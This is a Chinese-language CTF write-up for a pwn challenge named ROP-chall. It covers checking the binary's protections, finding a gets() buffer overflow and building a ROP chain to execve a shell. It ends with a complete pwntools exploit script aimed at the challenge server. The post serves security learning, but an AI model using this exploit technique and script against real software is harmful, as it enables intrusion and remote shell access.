ROP-chall-1

2024-04-25

ROP-chall

Author:堇姬

題目來源

ICED的pwn題目
https://ctf.nicewhite.xyz/

確認保護

image
image

看到有開Stack canary,但溢出後卻沒有報stack canary的錯誤,所以應該是沒開。
另外他有開NX,所以沒辦法寫shellcode
image
image

分析ASM

image
image

有gets 可以BOF,不過沒有其他function可以return過去,所以應該是要ROP

堆ROP

  • execve(‘bin/sh’)
暫存器
rax 0x3b
rdi 要執行的參數值(/bin/sh)
rsi argv(這裡=0)
rdx envp(這裡=0)
  • stack
    1
    2
    3
    4
    5
    6
    7
    8
    9
    pop rax
    0x3b
    pop rdi
    command_addr_in_stack
    pop rsi
    0
    pop rdx;
    0
    syscall

ROPgadget找位置

暫存器 位置 要蓋的值
pop rax ;ret 0x4516a7 0x3b
pop rdi ;ret 0x4018c2 0x4c3300
pop rsi ;ret 0x40f21e 0
pop rdx ;ret 0x4017cf 0
syscall 0x4012d3

image
image

image
image

image
image

image
image

image
image

輸入的shellcode存在0x4c3300

image
image

要蓋0x70+0x8然後開始ret

image
image

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
r=remote('23.146.248.20', 10009)
#r=process('rop0')
shellcode_addr=0x004c3300
context.arch='amd64'
ROPvar={
'shellcode':b"/bin/bash\x00",
'pop_rax_ret':0x4516a7,
'pop_rdi_ret':0x4018c2,
'pop_rsi_ret':0x40f21e,
'pop_rdx_ret':0x4017cf,
'syscall':0x4012d3
}

STACKvar={
'rax_var':0x3b,
'rdi_var':shellcode_addr,
'rsi_var':0,
'rdx_var':0,
}
padding=0x70+0x8

payload=b"a"*padding+flat(ROPvar['pop_rax_ret'],
STACKvar['rax_var'],
ROPvar['pop_rdi_ret'],
STACKvar['rdi_var'],
ROPvar['pop_rdx_ret'],
STACKvar['rdx_var'],
ROPvar['pop_rsi_ret'],
STACKvar['rsi_var'],
ROPvar['syscall'])

r.sendline(ROPvar['shellcode'])
r.sendline(payload)
r.interactive()